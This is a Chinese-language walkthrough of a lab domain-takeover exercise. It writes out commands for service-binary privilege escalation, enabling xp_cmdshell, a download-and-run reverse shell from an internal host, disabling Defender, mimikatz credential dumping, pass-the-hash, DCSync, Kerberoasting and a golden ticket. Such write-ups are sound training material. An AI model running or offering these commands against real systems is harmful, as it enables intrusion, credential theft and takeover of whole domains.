前言
Offensive是国外的一个靶场,要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。
网络拓扑如下:
通过信息搜集,以及知道当前用户为offensive\Alice在域环境offensive中,当前用户不在管理员组中。使用工具包中提供的powerup来进行检查,寻找当前主机的Windows服务漏洞来进行提权。
powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks"
这里发现VulnService.exe是以localsystem权限启动的,这里利用方法是利用powerup写入一个二进制文件,将Alice添加到管理员组:
powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName'VulnService' -UserName'offensive\Alice' -Password 'Passw0rd'"
将生产的service.exe重命名后放在对应目录下,重启主机后,提取至管理员权限。使用提供的powerview脚本来进行域内信息搜集:
Import-Module .\PowerView.ps1 #导入脚本
Get-NetDomain #获取域信息
Get-NetDomainController #获取域控信息
Get-NetUser | select name #获取域内的用户
Get-NetGroup | select name #获取域内的组
Get-NetComputer |select name #获取域内主机的名字
使用powerupsql脚本来进行信息搜集:
Import-Module .\PowerUpSQL.ps1 #导入脚本
Get-SQLInstanceDomain | Get-SQLConnectionTest #枚举域内数据库访问情况
Get-SQLServerInfo -Instance Offensive-SQL1 #枚举当前服务的详细信息
Invoke-SQLAudit -Instance Offensive-SQL1 -verbose #扫描当前服务器可能存在的问题
扫描发现Offensive-SQL1当前登录的用户为Alice:可以通过xp_cmdshell来执行系统命令:使用提供的Heidisql连接到数据库,执行下述命令,当前用户为域管理员:
SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options’
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
将提供的反弹shell的脚本拖进HFS中:
导入powercat脚本来监听443端口,数据库执行系统命令,获得数据库服务器的shell:
EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'
先关闭defender:
Set-MpPreference-disablerealtimeMonitoring $true
将mimikatz拖进HFS,执行文件下载命令,将mimikatz下载下来,然后运行mimikatz抓取密码
certutil -urlcache -f -splithttp://192.168.159.10/mimikatz.exe mimikatz.exe
.\mimikatz.exe"privilege::debug" "sekurlsa::logonpasswords" exit
抓取到dbadmin密码的哈希和明文密码:使用mimikatz进行PTH,报错百度说可能是Win10的某些安全性改进,导致mimikatz无法读取lsass导致的。
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local
/ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit
那就在Offensive-SQL1来执行试一下,先开启数据库服务器的远程桌面,使用dbadmin用户登录。登录到Offensive-SQL1上后,执行命令,成功登录到dc。
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit
Enter-PSSession -ComputerName dc
我们已经获取到域管理员权限,可以利用Dcsync来导出所有域用户的哈希:
lsadump::dcsync /domain:offensive.local /all /csv
对域管理员Administrator密码的哈希进行破解,密码为Password!
Kerberoasting
使用GetUserSPNS脚本来查询域内用户注册的 SPN:
Add-Type -AssemblyName System.IdentityModel #请求服务票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Offensive-SQL1:1433" #列出服务票据
Kerberos::list /export #导出票据
使用tgsrepcrack脚本对导出的服务票据文件进行离线破解,这里是因为未修改之前的机器密码为Passw0rd!
黄金票据
前面我们通过Dcsync已经知道了krbtgt的哈希,执行下述命令黄金票据攻击:
kerberos::golden /user:Administrator /domain:offensive.local /sid:S-1-5-21-1187620287-4058297830-2395299116 /krbtgt:61d83c569b93bfcd4ca2087011361caa /ptt #
misc::cmd
dir \\dc.offensive.local\c$
总结
通过这个靶场进一步的了解了提权、横向、mssql命令执行、dcsysc、pth等常见渗透攻击方法,以及如何利用当前权限和工具一步步渗透到达域控获取域管理员权限从而接管整个域。